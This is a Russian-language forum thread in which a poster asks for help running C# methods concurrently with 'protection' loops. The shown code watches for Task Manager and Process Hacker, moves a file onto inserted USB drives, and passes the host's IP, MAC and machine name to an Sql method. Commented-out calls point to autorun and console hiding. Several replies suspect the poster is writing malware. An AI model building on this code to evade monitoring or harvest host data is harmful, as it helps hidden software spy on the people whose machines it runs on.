Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже. async static Task Main(string[] args) { //AutoRun(IsInAutoRun()); //Crash(); //USBSearcher(); //ToDef(); //Defense(); await StartDefensive(); Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now); //SecondSaveFile(); //HideConsole(); //AllPathesToSave(); async static Task StartDefensive() { Console.WriteLine("Подготовка к запуску защиты"); await Task.Run(() => Defense()); Console.WriteLine("Защита запущена!"); } public static void Defense() { bool attack = false; while (1 > 0) { Thread.Sleep(2000); Console.WriteLine("Защита работает"); Process[] procList = Process.GetProcesses(); string[] attackedProcess = { "processhacker", "taskmgr" }; foreach (Process p in procList) { for (int i = 0; i < attackedProcess.Length; i++) { if (p.ProcessName.ToLower() == attackedProcess[i]) { Console.WriteLine("Detected: " + p.ProcessName); attack = true; if (attack) { Console.WriteLine("Процесс прекращён"); string[] exit = { "false" }; Main(exit); } } else { continue; } } } Console.WriteLine("\n"); if (attack) { break; } } } public static void USBSearcher() { Console.Write("Add Path: "); string PATH = Console.ReadLine(); while (true) { Thread.Sleep(2000); foreach (var dInfo in DriveInfo.GetDrives()) { if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable) { Console.WriteLine(dInfo); string USBPath = dInfo.ToString(); try { string outFile =USBPath + Path.GetFileName(PATH); ; File.Move(PATH, outFile); Console.WriteLine("Yes"); } catch { Console.WriteLine("No"); } } else { Console.WriteLine("No"); continue; } } } } Code async static Task Main(string[] args) { //AutoRun(IsInAutoRun()); //Crash(); //USBSearcher(); //ToDef(); //Defense(); await StartDefensive(); Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now); //SecondSaveFile(); //HideConsole(); //AllPathesToSave(); async static Task StartDefensive() { Console.WriteLine("Подготовка к запуску защиты"); await Task.Run(() => Defense()); Console.WriteLine("Защита запущена!"); } public static void Defense() { bool attack = false; while (1 > 0) { Thread.Sleep(2000); Console.WriteLine("Защита работает"); Process[] procList = Process.GetProcesses(); string[] attackedProcess = { "processhacker", "taskmgr" }; foreach (Process p in procList) { for (int i = 0; i < attackedProcess.Length; i++) { if (p.ProcessName.ToLower() == attackedProcess[i]) { Console.WriteLine("Detected: " + p.ProcessName); attack = true; if (attack) { Console.WriteLine("Процесс прекращён"); string[] exit = { "false" }; Main(exit); } } else { continue; } } } Console.WriteLine("\n"); if (attack) { break; } } } public static void USBSearcher() { Console.Write("Add Path: "); string PATH = Console.ReadLine(); while (true) { Thread.Sleep(2000); foreach (var dInfo in DriveInfo.GetDrives()) { if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable) { Console.WriteLine(dInfo); string USBPath = dInfo.ToString(); try { string outFile =USBPath + Path.GetFileName(PATH); ; File.Move(PATH, outFile); Console.WriteLine("Yes"); } catch { Console.WriteLine("No"); } } else { Console.WriteLine("No"); continue; } } } } Помимо этих методов, должны работать и другие, но они должны работать вместе с защитой. т.е., когда защита срабатывает, работа приложения должна либо завершиться полностью, либо заморозиться на время. Как сделать так, чтобы другие методы работали под защитой? Пробовал async,await, ничего не выходит
Thread.Sleep - остановка программы Приложение полностью не работает промежуток времени который там указан The post was merged to previous Mar 2, 2022 https://metanit.com/sharp/tutorial/11.1.php Почитай по ссылке, как многопоточность сделать
Изучай многопоточность https://docs.microsoft.com/ru-ru/dotnet/standard/threading/threads-and-threading https://habr.com/ru/post/126495/
wDude, он хитрый жук,весь код не стал показывать,я уверен там можно было бы понять,для каких целей этот зловред
wDude, Пробовал сделать так: public static Thread threadForUSBSercher = new Thread(USBSearcher); //а внутри метода threadForUSBSercher.IsBackGround = true; threadForUSBSercher.Start() Code public static Thread threadForUSBSercher = new Thread(USBSearcher); //а внутри метода threadForUSBSercher.IsBackGround = true; threadForUSBSercher.Start() Но оно упарывается, когда пытается запустить метод второй раз.
@aChanCode, теперь, когда убрал threadForUSBSercher.Start() работает, но не даёт работать другому методу. Тут уже не знаю, что делать.
Изменить имя процессов и твой код отпадает. Мы все знаем что ты пишешь)) The post was merged to previous Mar 2, 2022 По коду всё лишнее, когда можно проще сделать. Повесить WndProc на отлов флешек и запуск процессов и их отлавливать, в момент когда поймал, выполнить метод и никакие циклы с while (true) не нужны